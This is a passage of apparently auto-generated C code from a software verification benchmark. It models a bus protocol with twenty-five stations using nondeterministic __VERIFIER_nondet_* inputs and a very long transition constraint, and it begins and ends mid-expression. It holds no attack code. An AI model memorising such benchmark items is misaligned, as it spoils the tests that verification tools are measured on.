_J5343) && _J5349)) { __steps_to_fair = __VERIFIER_nondet_int(); } else { __steps_to_fair--; } _x_s22_l0 = __VERIFIER_nondet_bool(); _x__diverge_delta = __VERIFIER_nondet_float(); _x_s22_l1 = __VERIFIER_nondet_bool(); _x_s10_evt0 = __VERIFIER_nondet_bool(); _x_delta = __VERIFIER_nondet_float(); _x_s22_lambda = __VERIFIER_nondet_float(); _x_s22_x = __VERIFIER_nondet_float(); _x_s10_evt1 = __VERIFIER_nondet_bool(); _x_s10_evt2 = __VERIFIER_nondet_bool(); _x_bus_l1 = __VERIFIER_nondet_bool(); _x_bus_l0 = __VERIFIER_nondet_bool(); _x_s22_backoff = __VERIFIER_nondet_float(); _x_bus_x = __VERIFIER_nondet_float(); _x_s22_evt0 = __VERIFIER_nondet_bool(); _x_s22_evt1 = __VERIFIER_nondet_bool(); _x_s22_evt2 = __VERIFIER_nondet_bool(); _x_bus_j = __VERIFIER_nondet_int(); _x_s11_l0 = __VERIFIER_nondet_bool(); _x_s11_l1 = __VERIFIER_nondet_bool(); _x_s11_lambda = __VERIFIER_nondet_float(); _x_s11_x = __VERIFIER_nondet_float(); _x_bus_evt1 = __VERIFIER_nondet_bool(); _x_bus_evt0 = __VERIFIER_nondet_bool(); _x_bus_evt2 = __VERIFIER_nondet_bool(); _x_s11_backoff = __VERIFIER_nondet_float(); _x_s23_l0 = __VERIFIER_nondet_bool(); _x_s23_l1 = __VERIFIER_nondet_bool(); _x_s11_evt0 = __VERIFIER_nondet_bool(); _x_s23_lambda = __VERIFIER_nondet_float(); _x_s23_x = __VERIFIER_nondet_float(); _x_s11_evt1 = __VERIFIER_nondet_bool(); _x_s11_evt2 = __VERIFIER_nondet_bool(); _x_s23_backoff = __VERIFIER_nondet_float(); _x_s0_l0 = __VERIFIER_nondet_bool(); _x_s0_l1 = __VERIFIER_nondet_bool(); _x_s0_lambda = __VERIFIER_nondet_float(); _x_s0_x = __VERIFIER_nondet_float(); _x_s23_evt0 = __VERIFIER_nondet_bool(); _x_s23_evt1 = __VERIFIER_nondet_bool(); _x_s23_evt2 = __VERIFIER_nondet_bool(); _x_s0_backoff = __VERIFIER_nondet_float(); _x_s12_l0 = __VERIFIER_nondet_bool(); _x_s12_l1 = __VERIFIER_nondet_bool(); _x_s0_evt0 = __VERIFIER_nondet_bool(); _x_s12_lambda = __VERIFIER_nondet_float(); _x_s12_x = __VERIFIER_nondet_float(); _x_s0_evt1 = __VERIFIER_nondet_bool(); _x_s0_evt2 = __VERIFIER_nondet_bool(); _x_s12_backoff = __VERIFIER_nondet_float(); _x_s24_l0 = __VERIFIER_nondet_bool(); _x_s24_l1 = __VERIFIER_nondet_bool(); _x_s12_evt0 = __VERIFIER_nondet_bool(); _x_s24_lambda = __VERIFIER_nondet_float(); _x_s24_x = __VERIFIER_nondet_float(); _x_s12_evt1 = __VERIFIER_nondet_bool(); _x_s12_evt2 = __VERIFIER_nondet_bool(); _x_s24_backoff = __VERIFIER_nondet_float(); _x_s1_l0 = __VERIFIER_nondet_bool(); _x_s1_l1 = __VERIFIER_nondet_bool(); _x_s1_lambda = __VERIFIER_nondet_float(); _x_s1_x = __VERIFIER_nondet_float(); _x_s24_evt0 = __VERIFIER_nondet_bool(); _x_s24_evt1 = __VERIFIER_nondet_bool(); _x_s24_evt2 = __VERIFIER_nondet_bool(); _x_s1_backoff = __VERIFIER_nondet_float(); _x_s13_l0 = __VERIFIER_nondet_bool(); _x_s13_l1 = __VERIFIER_nondet_bool(); _x_s1_evt0 = __VERIFIER_nondet_bool(); _x_s1_evt1 = __VERIFIER_nondet_bool(); _x_s13_lambda = __VERIFIER_nondet_float(); _x_s13_x = __VERIFIER_nondet_float(); _x_s1_evt2 = __VERIFIER_nondet_bool(); _x_s13_backoff = __VERIFIER_nondet_float(); _x__J5349 = __VERIFIER_nondet_bool(); _x_s13_evt0 = __VERIFIER_nondet_bool(); _x__J5343 = __VERIFIER_nondet_bool(); _x_s13_evt1 = __VERIFIER_nondet_bool(); _x__J5336 = __VERIFIER_nondet_bool(); _x_s13_evt2 = __VERIFIER_nondet_bool(); _x__J5330 = __VERIFIER_nondet_bool(); _x__J5325 = __VERIFIER_nondet_bool(); _x__J5319 = __VERIFIER_nondet_bool(); _x_s2_l0 = __VERIFIER_nondet_bool(); _x__EL_U_5282 = __VERIFIER_nondet_bool(); _x_s2_l1 = __VERIFIER_nondet_bool(); _x_s2_lambda = __VERIFIER_nondet_float(); _x_s2_x = __VERIFIER_nondet_float(); _x__EL_U_5284 = __VERIFIER_nondet_bool(); _x__EL_U_5286 = __VERIFIER_nondet_bool(); _x_s2_backoff = __VERIFIER_nondet_float(); _x__EL_U_5288 = __VERIFIER_nondet_bool(); _x__EL_U_5290 = __VERIFIER_nondet_bool(); _x_s14_l0 = __VERIFIER_nondet_bool(); _x__EL_U_5292 = __VERIFIER_nondet_bool(); _x_s14_l1 = __VERIFIER_nondet_bool(); _x_s2_evt0 = __VERIFIER_nondet_bool(); _x_s14_lambda = __VERIFIER_nondet_float(); _x_s14_x = __VERIFIER_nondet_float(); _x_s2_evt1 = __VERIFIER_nondet_bool(); _x_s2_evt2 = __VERIFIER_nondet_bool(); _x_s14_backoff = __VERIFIER_nondet_float(); _x_s14_evt0 = __VERIFIER_nondet_bool(); _x_s14_evt1 = __VERIFIER_nondet_bool(); _x_s14_evt2 = __VERIFIER_nondet_bool(); _x_bus_cd_id = __VERIFIER_nondet_int(); _x_s3_l0 = __VERIFIER_nondet_bool(); _x_s3_l1 = __VERIFIER_nondet_bool(); _x_s3_lambda = __VERIFIER_nondet_float(); _x_s3_x = __VERIFIER_nondet_float(); _x_s3_backoff = __VERIFIER_nondet_float(); _x_s15_l0 = __VERIFIER_nondet_bool(); _x_s15_l1 = __VERIFIER_nondet_bool(); _x_s3_evt0 = __VERIFIER_nondet_bool(); _x_s15_lambda = __VERIFIER_nondet_float(); _x_s15_x = __VERIFIER_nondet_float(); _x_s3_evt1 = __VERIFIER_nondet_bool(); _x_s3_evt2 = __VERIFIER_nondet_bool(); _x_s15_backoff = __VERIFIER_nondet_float(); _x_s15_evt0 = __VERIFIER_nondet_bool(); _x_s15_evt1 = __VERIFIER_nondet_bool(); _x_s15_evt2 = __VERIFIER_nondet_bool(); _x_s4_l0 = __VERIFIER_nondet_bool(); _x_s4_l1 = __VERIFIER_nondet_bool(); _x_s4_lambda = __VERIFIER_nondet_float(); _x_s4_x = __VERIFIER_nondet_float(); _x_s4_backoff = __VERIFIER_nondet_float(); _x_s16_l0 = __VERIFIER_nondet_bool(); _x_s16_l1 = __VERIFIER_nondet_bool(); _x_s4_evt0 = __VERIFIER_nondet_bool(); _x_s16_lambda = __VERIFIER_nondet_float(); _x_s16_x = __VERIFIER_nondet_float(); _x_s4_evt1 = __VERIFIER_nondet_bool(); _x_s4_evt2 = __VERIFIER_nondet_bool(); _x_s16_backoff = __VERIFIER_nondet_float(); _x_s16_evt0 = __VERIFIER_nondet_bool(); _x_s16_evt1 = __VERIFIER_nondet_bool(); _x_s16_evt2 = __VERIFIER_nondet_bool(); _x_s5_l0 = __VERIFIER_nondet_bool(); _x_s5_l1 = __VERIFIER_nondet_bool(); _x_s5_lambda = __VERIFIER_nondet_float(); _x_s5_x = __VERIFIER_nondet_float(); _x_s5_backoff = __VERIFIER_nondet_float(); _x_s17_l0 = __VERIFIER_nondet_bool(); _x_s17_l1 = __VERIFIER_nondet_bool(); _x_s5_evt0 = __VERIFIER_nondet_bool(); _x_s17_lambda = __VERIFIER_nondet_float(); _x_s17_x = __VERIFIER_nondet_float(); _x_s5_evt1 = __VERIFIER_nondet_bool(); _x_s5_evt2 = __VERIFIER_nondet_bool(); _x_s17_backoff = __VERIFIER_nondet_float(); _x_s17_evt0 = __VERIFIER_nondet_bool(); _x_s17_evt1 = __VERIFIER_nondet_bool(); _x_s17_evt2 = __VERIFIER_nondet_bool(); _x_s6_l0 = __VERIFIER_nondet_bool(); _x_s6_l1 = __VERIFIER_nondet_bool(); _x_s6_lambda = __VERIFIER_nondet_float(); _x_s6_x = __VERIFIER_nondet_float(); _x_s6_backoff = __VERIFIER_nondet_float(); _x_s18_l0 = __VERIFIER_nondet_bool(); _x_s18_l1 = __VERIFIER_nondet_bool(); _x_s6_evt0 = __VERIFIER_nondet_bool(); _x_s18_lambda = __VERIFIER_nondet_float(); _x_s18_x = __VERIFIER_nondet_float(); _x_s6_evt1 = __VERIFIER_nondet_bool(); _x_s6_evt2 = __VERIFIER_nondet_bool(); _x_s18_backoff = __VERIFIER_nondet_float(); _x_s18_evt0 = __VERIFIER_nondet_bool(); _x_s18_evt1 = __VERIFIER_nondet_bool(); _x_s18_evt2 = __VERIFIER_nondet_bool(); _x_s7_l0 = __VERIFIER_nondet_bool(); _x_s7_l1 = __VERIFIER_nondet_bool(); _x_s7_lambda = __VERIFIER_nondet_float(); _x_s7_x = __VERIFIER_nondet_float(); _x_s7_backoff = __VERIFIER_nondet_float(); _x_s19_l0 = __VERIFIER_nondet_bool(); _x_s19_l1 = __VERIFIER_nondet_bool(); _x_s7_evt0 = __VERIFIER_nondet_bool(); _x_s19_lambda = __VERIFIER_nondet_float(); _x_s19_x = __VERIFIER_nondet_float(); _x_s7_evt1 = __VERIFIER_nondet_bool(); _x_s7_evt2 = __VERIFIER_nondet_bool(); _x_s19_backoff = __VERIFIER_nondet_float(); _x_s19_evt0 = __VERIFIER_nondet_bool(); _x_s19_evt1 = __VERIFIER_nondet_bool(); _x_s19_evt2 = __VERIFIER_nondet_bool(); _x_s8_l0 = __VERIFIER_nondet_bool(); _x_s8_l1 = __VERIFIER_nondet_bool(); _x_s8_lambda = __VERIFIER_nondet_float(); _x_s8_x = __VERIFIER_nondet_float(); _x_s8_backoff = __VERIFIER_nondet_float(); _x_s20_l0 = __VERIFIER_nondet_bool(); _x_s20_l1 = __VERIFIER_nondet_bool(); _x_s8_evt0 = __VERIFIER_nondet_bool(); _x_s20_lambda = __VERIFIER_nondet_float(); _x_s20_x = __VERIFIER_nondet_float(); _x_s8_evt1 = __VERIFIER_nondet_bool(); _x_s8_evt2 = __VERIFIER_nondet_bool(); _x_s20_backoff = __VERIFIER_nondet_float(); _x_s20_evt0 = __VERIFIER_nondet_bool(); _x_s20_evt1 = __VERIFIER_nondet_bool(); _x_s20_evt2 = __VERIFIER_nondet_bool(); _x_s9_l0 = __VERIFIER_nondet_bool(); _x_s9_l1 = __VERIFIER_nondet_bool(); _x_s9_lambda = __VERIFIER_nondet_float(); _x_s9_x = __VERIFIER_nondet_float(); _x_s9_backoff = __VERIFIER_nondet_float(); _x_s21_l0 = __VERIFIER_nondet_bool(); _x_s21_l1 = __VERIFIER_nondet_bool(); _x_s9_evt0 = __VERIFIER_nondet_bool(); _x_s21_lambda = __VERIFIER_nondet_float(); _x_s21_x = __VERIFIER_nondet_float(); _x_s9_evt1 = __VERIFIER_nondet_bool(); _x_s9_evt2 = __VERIFIER_nondet_bool(); _x_s21_backoff = __VERIFIER_nondet_float(); _x_s21_evt0 = __VERIFIER_nondet_bool(); _x_s21_evt1 = __VERIFIER_nondet_bool(); _x_s21_evt2 = __VERIFIER_nondet_bool(); _x_s10_l0 = __VERIFIER_nondet_bool(); _x_s10_l1 = __VERIFIER_nondet_bool(); _x_s10_lambda = __VERIFIER_nondet_float(); _x_s10_x = __VERIFIER_nondet_float(); _x_s10_backoff = __VERIFIER_nondet_float(); __ok = (((((((((((((((((((((((( !_x_s24_evt2) && (_x_s24_evt0 && ( !_x_s24_evt1))) || (((( !_x_s24_evt2) && (( !_x_s24_evt0) && ( !_x_s24_evt1))) || (_x_s24_evt2 && (( !_x_s24_evt0) && ( !_x_s24_evt1)))) || ((( !_x_s24_evt2) && (_x_s24_evt1 && ( !_x_s24_evt0))) || (_x_s24_evt2 && (_x_s24_evt1 && ( !_x_s24_evt0)))))) && ((( !_x_s24_l0) && ( !_x_s24_l1)) || ((_x_s24_l1 && ( !_x_s24_l0)) || (_x_s24_l0 && ( !_x_s24_l1))))) && (13.0 <= _x_s24_backoff)) && (( !(_x_s24_lambda <= 0.0)) && ((_x_s24_x <= _x_s24_lambda) || ( !(_x_s24_l1 && ( !_x_s24_l0)))))) && (((((s24_l0 == _x_s24_l0) && (s24_l1 == _x_s24_l1)) && (s24_lambda == _x_s24_lambda)) && (((delta + (s24_x + (-1.0 * _x_s24_x))) == 0.0) && (s24_backoff == _x_s24_backoff))) || ( !(( !(delta <= 0.0)) || (( !s24_evt2) && (( !s24_evt0) && ( !s24_evt1))))))) && ((((_x_s24_l0 && ( !_x_s24_l1)) || ((( !_x_s24_l0) && ( !_x_s24_l1)) || (_x_s24_l1 && ( !_x_s24_l0)))) && ((s24_backoff == _x_s24_backoff) && (_x_s24_x == 0.0))) || ( !((( !s24_l0) && ( !s24_l1)) && ((delta == 0.0) && ( !(( !s24_evt2) && (( !s24_evt0) && ( !s24_evt1))))))))) && (((( !s24_evt2) && (s24_evt0 && ( !s24_evt1))) && (s24_lambda == _x_s24_lambda)) || ( !((( !_x_s24_l0) && ( !_x_s24_l1)) && ((( !s24_l0) && ( !s24_l1)) && ((delta == 0.0) && ( !(( !s24_evt2) && (( !s24_evt0) && ( !s24_evt1)))))))))) && ((s24_evt2 && (( !s24_evt0) && ( !s24_evt1))) || ( !((_x_s24_l1 && ( !_x_s24_l0)) && ((( !s24_l0) && ( !s24_l1)) && ((delta == 0.0) && ( !(( !s24_evt2) && (( !s24_evt0) && ( !s24_evt1)))))))))) && (((s24_lambda == _x_s24_lambda) && ((s24_evt2 && (s24_evt1 && ( !s24_evt0))) || (( !s24_evt2) && (s24_evt0 && ( !s24_evt1))))) || ( !((_x_s24_l0 && ( !_x_s24_l1)) && ((( !s24_l0) && ( !s24_l1)) && ((delta == 0.0) && ( !(( !s24_evt2) && (( !s24_evt0) && ( !s24_evt1)))))))))) && ((((s24_lambda == _x_s24_lambda) && (_x_s24_x == 0.0)) && ((( !_x_s24_l0) && ( !_x_s24_l1)) || (_x_s24_l0 && ( !_x_s24_l1)))) || ( !((s24_l1 && ( !s24_l0)) && ((delta == 0.0) && ( !(( !s24_evt2) && (( !s24_evt0) && ( !s24_evt1))))))))) && (((s24_lambda <= s24_x) && ((( !s24_evt2) && (s24_evt1 && ( !s24_evt0))) && (_x_s24_backoff <= s24_backoff))) || ( !((( !_x_s24_l0) && ( !_x_s24_l1)) && ((s24_l1 && ( !s24_l0)) && ((delta == 0.0) && ( !(( !s24_evt2) && (( !s24_evt0) && ( !s24_evt1)))))))))) && (((( !s24_evt2) && (s24_evt0 && ( !s24_evt1))) && ((s24_backoff + (-1.0 * _x_s24_backoff)) <= -1.0)) || ( !((_x_s24_l0 && ( !_x_s24_l1)) && ((s24_l1 && ( !s24_l0)) && ((delta == 0.0) && ( !(( !s24_evt2) && (( !s24_evt0) && ( !s24_evt1)))))))))) && (((s24_lambda == _x_s24_lambda) && (((_x_s24_l1 && ( !_x_s24_l0)) || (_x_s24_l0 && ( !_x_s24_l1))) && ((s24_backoff == _x_s24_backoff) && (_x_s24_x == 0.0)))) || ( !((s24_l0 && ( !s24_l1)) && ((delta == 0.0) && ( !(( !s24_evt2) && (( !s24_evt0) && ( !s24_evt1))))))))) && ((( !s24_evt2) && (s24_evt0 && ( !s24_evt1))) || ( !((_x_s24_l0 && ( !_x_s24_l1)) && ((s24_l0 && ( !s24_l1)) && ((delta == 0.0) && ( !(( !s24_evt2) && (( !s24_evt0) && ( !s24_evt1)))))))))) && (((s24_evt2 && (( !s24_evt0) && ( !s24_evt1))) && (s24_backoff <= s24_x)) || ( !((_x_s24_l1 && ( !_x_s24_l0)) && ((s24_l0 && ( !s24_l1)) && ((delta == 0.0) && ( !(( !s24_evt2) && (( !s24_evt0) && ( !s24_evt1)))))))))) && (((((((((((((((((( !_x_s23_evt2) && (_x_s23_evt0 && ( !_x_s23_evt1))) || (((( !_x_s23_evt2) && (( !_x_s23_evt0) && ( !_x_s23_evt1))) || (_x_s23_evt2 && (( !_x_s23_evt0) && ( !_x_s23_evt1)))) || ((( !_x_s23_evt2) && (_x_s23_evt1 && ( !_x_s23_evt0))) || (_x_s23_evt2 && (_x_s23_evt1 && ( !_x_s23_evt0)))))) && ((( !_x_s23_l0) && ( !_x_s23_l1)) || ((_x_s23_l1 && ( !_x_s23_l0)) || (_x_s23_l0 && ( !_x_s23_l1))))) && (13.0 <= _x_s23_backoff)) && (( !(_x_s23_lambda <= 0.0)) && ((_x_s23_x <= _x_s23_lambda) || ( !(_x_s23_l1 && ( !_x_s23_l0)))))) && (((((s23_l0 == _x_s23_l0) && (s23_l1 == _x_s23_l1)) && (s23_lambda == _x_s23_lambda)) && (((delta + (s23_x + (-1.0 * _x_s23_x))) == 0.0) && (s23_backoff == _x_s23_backoff))) || ( !(( !(delta <= 0.0)) || (( !s23_evt2) && (( !s23_evt0) && ( !s23_evt1))))))) && ((((_x_s23_l0 && ( !_x_s23_l1)) || ((( !_x_s23_l0) && ( !_x_s23_l1)) || (_x_s23_l1 && ( !_x_s23_l0)))) && ((s23_backoff == _x_s23_backoff) && (_x_s23_x == 0.0))) || ( !((( !s23_l0) && ( !s23_l1)) && ((delta == 0.0) && ( !(( !s23_evt2) && (( !s23_evt0) && ( !s23_evt1))))))))) && (((( !s23_evt2) && (s23_evt0 && ( !s23_evt1))) && (s23_lambda == _x_s23_lambda)) || ( !((( !_x_s23_l0) && ( !_x_s23_l1)) && ((( !s23_l0) && ( !s23_l1)) && ((delta == 0.0) && ( !(( !s23_evt2) && (( !s23_evt0) && ( !s23_evt1)))))))))) && ((s23_evt2 && (( !s23_evt0) && ( !s23_evt1))) || ( !((_x_s23_l1 && ( !_x_s23_l0)) && ((( !s23_l0) && ( !s23_l1)) && ((delta == 0.0) && ( !(( !s23_evt2) && (( !s23_evt0) && ( !s23_evt1)))))))))) && (((s23_lambda == _x_s23_lambda) && ((s23_evt2 && (s23_evt1 && ( !s23_evt0))) || (( !s23_evt2) && (s23_evt0 && ( !s23_evt1))))) || ( !((_x_s23_l0 && ( !_x_s23_l1)) && ((( !s23_l0) && ( !s23_l1)) && ((delta == 0.0) && ( !(( !s23_evt2) && (( !s23_evt0) && ( !s23_evt1)))))))))) && ((((s23_lambda == _x_s23_lambda) && (_x_s23_x == 0.0)) && ((( !_x_s23_l0) && ( !_x_s23_l1)) || (_x_s23_l0 && ( !_x_s23_l1)))) || ( !((s23_l1 && ( !s23_l0)) && ((delta == 0.0) && ( !(( !s23_evt2) && (( !s23_evt0) && ( !s23_evt1))))))))) && (((s23_lambda <= s23_x) && ((( !s23_evt2) && (s23_evt1 && ( !s23_evt0))) && (_x_s23_backoff <= s23_backoff))) || ( !((( !_x_s23_l0) && ( !_x_s23_l1)) && ((s23_l1 && ( !s23_l0)) && ((delta == 0.0) && ( !(( !s23_evt2) && (( !s23_evt0) && ( !s23_evt1)))))))))) && (((( !s23_evt2) && (s23_evt0 && ( !s23_evt1))) && ((s23_backoff + (-1.0 * _x_s23_backoff)) <= -1.0)) || ( !((_x_s23_l0 && ( !_x_s23_l1)) && ((s23_l1 && ( !s23_l0)) && ((delta == 0.0) && ( !(( !s23_evt2) && (( !s23_evt0) && ( !s23_evt1)))))))))) && (((s23_lambda == _x_s23_lambda) && (((_x_s23_l1 && ( !_x_s23_l0)) || (_x_s23_l0 && ( !_x_s23_l1))) && ((s23_backoff == _x_s23_backoff) && (_x_s23_x == 0.0)))) || ( !((s23_l0 && ( !s23_l1)) && ((delta == 0.0) && ( !(( !s23_evt2) && (( !s23_evt0) && ( !s23_evt1))))))))) && ((( !s23_evt2) && (s23_evt0 && ( !s23_evt1))) || ( !((_x_s23_l0 && ( !_x_s23_l1)) && ((s23_l0 && ( !s23_l1)) && ((delta == 0.0) && ( !(( !s23_evt2) && (( !s23_evt0) && ( !s23_evt1)))))))))) && (((s23_evt2 && (( !s23_evt0) && ( !s23_evt1))) && (s23_backoff <= s23_x)) || ( !((_x_s23_l1 && ( !_x_s23_l0)) && ((s23_l0 && ( !s23_l1)) && ((delta == 0.0) && ( !(( !s23_evt2) && (( !s23_evt0) && ( !s23_evt1)))))))))) && (((((((((((((((((( !_x_s22_evt2) && (_x_s22_evt0 && ( !_x_s22_evt1))) || (((( !_x_s22_evt2) && (( !_x_s22_evt0) && ( !_x_s22_evt1))) || (_x_s22_evt2 && (( !_x_s22_evt0) && ( !_x_s22_evt1)))) || ((( !_x_s22_evt2) && (_x_s22_evt1 && ( !_x_s22_evt0))) || (_x_s22_evt2 && (_x_s22_evt1 && ( !_x_s22_evt0)))))) && ((( !_x_s22_l0) && ( !_x_s22_l1)) || ((_x_s22_l1 && ( !_x_s22_l0)) || (_x_s22_l0 && ( !_x_s22_l1))))) && (13.0 <= _x_s22_backoff)) && (( !(_x_s22_lambda <= 0.0)) && ((_x_s22_x <= _x_s22_lambda) || ( !(_x_s22_l1 && ( !_x_s22_l0)))))) && (((((s22_l0 == _x_s22_l0) && (s22_l1 == _x_s22_l1)) && (s22_lambda == _x_s22_lambda)) && (((delta + (s22_x + (-1.0 * _x_s22_x))) == 0.0) && (s22_backoff == _x_s22_backoff))) || ( !(( !(delta <= 0.0)) || (( !s22_evt2) && (( !s22_evt0) && ( !s22_evt1))))))) && ((((_x_s22_l0 && ( !_x_s22_l1)) || ((( !_x_s22_l0) && ( !_x_s22_l1)) || (_x_s22_l1 && ( !_x_s22_l0)))) && ((s22_backoff == _x_s22_backoff) && (_x_s22_x == 0.0))) || ( !((( !s22_l0) && ( !s22_l1)) && ((delta == 0.0) && ( !(( !s22_evt2) && (( !s22_evt0) && ( !s22_evt1))))))))) && (((( !s22_evt2) && (s22_evt0 && ( !s22_evt1))) && (s22_lambda == _x_s22_lambda)) || ( !((( !_x_s22_l0) && ( !_x_s22_l1)) && ((( !s22_l0) && ( !s22_l1)) && ((delta == 0.0) && ( !(( !s22_evt2) && (( !s22_evt0) && ( !s22_evt1)))))))))) && ((s22_evt2 && (( !s22_evt0) && ( !s22_evt1))) || ( !((_x_s22_l1 && ( !_x_s22_l0)) && ((( !s22_l0) && ( !s22_l1)) && ((delta == 0.0) && ( !(( !s22_evt2) && (( !s22_evt0) && ( !s22_evt1)))))))))) && (((s22_lambda == _x_s22_lambda) && ((s22_evt2 && (s22_evt1 && ( !s22_evt0))) || (( !s22_evt2) && (s22_evt0 && ( !s22_evt1))))) || ( !((_x_s22_l0 && ( !_x_s22_l1)) && ((( !s22_l0) && ( !s22_l1)) && ((delta == 0.0) && ( !(( !s22_evt2) && (( !s22_evt0) && ( !s22_evt1)))))))))) && ((((s22_lambda == _x_s22_lambda) && (_x_s22_x == 0.0)) && ((( !_x_s22_l0) && ( !_x_s22_l1)) || (_x_s22_l0 && ( !_x_s22_l1)))) || ( !((s22_l1 && ( !s22_l0)) && ((delta == 0.0) && ( !(( !s22_evt2) && (( !s22_evt0) && ( !s22_evt1))))))))) && (((s22_lambda <= s22_x) && ((( !s22_evt2) && (s22_evt1 && ( !s22_evt0))) && (_x_s22_backoff <= s22_backoff))) || ( !((( !_x_s22_l0) && ( !_x_s22_l1)) && ((s22_l1 && ( !s22_l0)) && ((delta == 0.0) && ( !(( !s22_evt2) && (( !s22_evt0) && ( !s22_evt1)))))))))) && (((( !s22_evt2) && (s22_evt0 && ( !s22_evt1))) && ((s22_backoff + (-1.0 * _x_s22_backoff)) <= -1.0)) || ( !((_x_s22_l0 && ( !_x_s22_l1)) && ((s22_l1 && ( !s22_l0)) && ((delta == 0.0) && ( !(( !s22_evt2) && (( !s22_evt0) && ( !s22_evt1)))))))))) && (((s22_lambda == _x_s22_lambda) && (((_x_s22_l1 && ( !_x_s22_l0)) || (_x_s22_l0 && ( !_x_s22_l1))) && ((s22_backoff == _x_s22_backoff) && (_x_s22_x == 0.0)))) || ( !((s22_l0 && ( !s22_l1)) && ((delta == 0.0) && ( !(( !s22_evt2) && (( !s22_evt0) && ( !s22_evt1))))))))) && ((( !s22_evt2) && (s22_evt0 && ( !s22_evt1))) || ( !((_x_s22_l0 && ( !_x_s22_l1)) && ((s22_l0 && ( !s22_l1)) && ((delta == 0.0) && ( !(( !s22_evt2) && (( !s22_evt0) && ( !s22_evt1)))))))))) && (((s22_evt2 && (( !s22_evt0) && ( !s22_evt1))) && (s22_backoff <= s22_x)) || ( !((_x_s22_l1 && ( !_x_s22_l0)) && ((s22_l0 && ( !s22_l1)) && ((delta == 0.0) && ( !(( !s22_evt2) && (( !s22_evt0) && ( !s22_evt1)))))))))) && (((((((((((((((((( !_x_s21_evt2) && (_x_s21_evt0 && ( !_x_s21_evt1))) || (((( !_x_s21_evt2) && (( !_x_s21_evt0) && ( !_x_s21_evt1))) || (_x_s21_evt2 && (( !_x_s21_evt0) && ( !_x_s21_evt1)))) || ((( !_x_s21_evt2) && (_x_s21_evt1 && ( !_x_s21_evt0))) || (_x_s21_evt2 && (_x_s21_evt1 && ( !_x_s21_evt0)))))) && ((( !_x_s21_l0) && ( !_x_s21_l1)) || ((_x_s21_l1 && ( !_x_s21_l0)) || (_x_s21_l0 && ( !_x_s21_l1))))) && (13.0 <= _x_s21_backoff)) && (( !(_x_s21_lambda <= 0.0)) && ((_x_s21_x <= _x_s21_lambda) || ( !(_x_s21_l1 && ( !_x_s21_l0)))))) && (((((s21_l0 == _x_s21_l0) && (s21_l1 == _x_s21_l1)) && (s21_lambda == _x_s21_lambda)) && (((delta + (s21_x + (-1.0 * _x_s21_x))) == 0.0) && (s21_backoff == _x_s21_backoff))) || ( !(( !(delta <= 0.0)) || (( !s21_evt2) && (( !s21_evt0) && ( !s21_evt1))))))) && ((((_x_s21_l0 && ( !_x_s21_l1)) || ((( !_x_s21_l0) && ( !_x_s21_l1)) || (_x_s21_l1 && ( !_x_s21_l0)))) && ((s21_backoff == _x_s21_backoff) && (_x_s21_x == 0.0))) || ( !((( !s21_l0) && ( !s21_l1)) && ((delta == 0.0) && ( !(( !s21_evt2) && (( !s21_evt0) && ( !s21_evt1))))))))) && (((( !s21_evt2) && (s21_evt0 && ( !s21_evt1))) && (s21_lambda == _x_s21_lambda)) || ( !((( !_x_s21_l0) && ( !_x_s21_l1)) && ((( !s21_l0) && ( !s21_l1)) && ((delta == 0.0) && ( !(( !s21_evt2) && (( !s21_evt0) && ( !s21_evt1)))))))))) && ((s21_evt2 && (( !s21_evt0) && ( !s21_evt1))) || ( !((_x_s21_l1 && ( !_x_s21_l0)) && ((( !s21_l0) && ( !s21_l1)) && ((delta == 0.0) && ( !(( !s21_evt2) && (( !s21_evt0) && ( !s21_evt1)))))))))) && (((s21_lambda == _x_s21_lambda) && ((s21_evt2 && (s21_evt1 && ( !s21_evt0))) || (( !s21_evt2) && (s21_evt0 && ( !s21_evt1))))) || ( !((_x_s21_l0 && ( !_x_s21_l1)) && ((( !s21_l0) && ( !s21_l1)) && ((delta == 0.0) && ( !(( !s21_evt2) && (( !s21_evt0) && ( !s21_evt1)))))))))) && ((((s21_lambda == _x_s21_lambda) && (_x_s21_x == 0.0)) && ((( !_x_s21_l0) && ( !_x_s21_l1)) || (_x_s21_l0 && ( !_x_s21_l1)))) || ( !((s21_l1 && ( !s21_l0)) && ((delta == 0.0) && ( !(( !s21_evt2) && (( !s21_evt0) && ( !s21_evt1))))))))) && (((s21_lambda <= s21_x) && ((( !s21_evt2) && (s21_evt1 && ( !s21_evt0))) && (_x_s21_backoff <= s21_backoff))) || ( !((( !_x_s21_l0) && ( !_x_s21_l1)) && ((s21_l1 && ( !s21_l0)) && ((delta == 0.0) && ( !(( !s21_evt2) && (( !s21_evt0) && ( !s21_evt1)))))))))) && (((( !s21_evt2) && (s21_evt0 && ( !s21_evt1))) && ((s21_backoff + (-1.0 * _x_s21_backoff)) <= -1.0)) || ( !((_x_s21_l0 && ( !_x_s21_l1)) && ((s21_l1 && ( !s21_l0)) && ((delta == 0.0) && ( !(( !s21_evt2) && (( !s21_evt0) && ( !s21_evt1)))))))))) && (((s21_lambda == _x_s21_lambda) && (((_x_s21_l1 && ( !_x_s21_l0)) || (_x_s21_l0 && ( !_x_s21_l1))) && ((s21_backoff == _x_s21_backoff) && (_x_s21_x == 0.0)))) || ( !((s21_l0 && ( !s21_l1)) && ((delta == 0.0) && ( !(( !s21_evt2) && (( !s21_evt0) && ( !s21_evt1))))))))) && ((( !s21_evt2) && (s21_evt0 && ( !s21_evt1))) || ( !((_x_s21_l0 && ( !_x_s21_l1)) && ((s21_l0 && ( !s21_l1)) && ((delta == 0.0) && ( !(( !s21_evt2) && (( !s21_evt0) && ( !s21_evt1)))))))))) && (((s21_evt2 && (( !s21_evt0) && ( !s21_evt1))) && (s21_backoff <= s21_x)) || ( !((_x_s21_l1 && ( !_x_s21_l0)) && ((s21_l0 && ( !s21_l1)) && ((delta == 0.0) && ( !(( !s21_evt2) && (( !s21_evt0) && ( !s21_evt1)))))))))) && (((((((((((((((((( !_x_s20_evt2) && (_x_s20_evt0 && ( !_x_s20_evt1))) || (((( !_x_s20_evt2) && (( !_x_s20_evt0) && ( !_x_s20_evt1))) || (_x_s20_evt2 && (( !_x_s20_evt0) && ( !_x_s20_evt1)))) || ((( !_x_s20_evt2) && (_x_s20_evt1 && ( !_x_s20_evt0))) || (_x_s20_evt2 && (_x_s20_evt1 && ( !_x_s20_evt0)))))) && ((( !_x_s20_l0) && ( !_x_s20_l1)) || ((_x_s20_l1 && ( !_x_s20_l0)) || (_x_s20_l0 && ( !_x_s20_l1))))) && (13.0 <= _x_s20_backoff)) && (( !(_x_s20_lambda <= 0.0)) && ((_x_s20_x <= _x_s20_lambda) || ( !(_x_s20_l1 && ( !_x_s20_l0)))))) && (((((s20_l0 == _x_s20_l0) && (s20_l1 == _x_s20_l1)) && (s20_lambda == 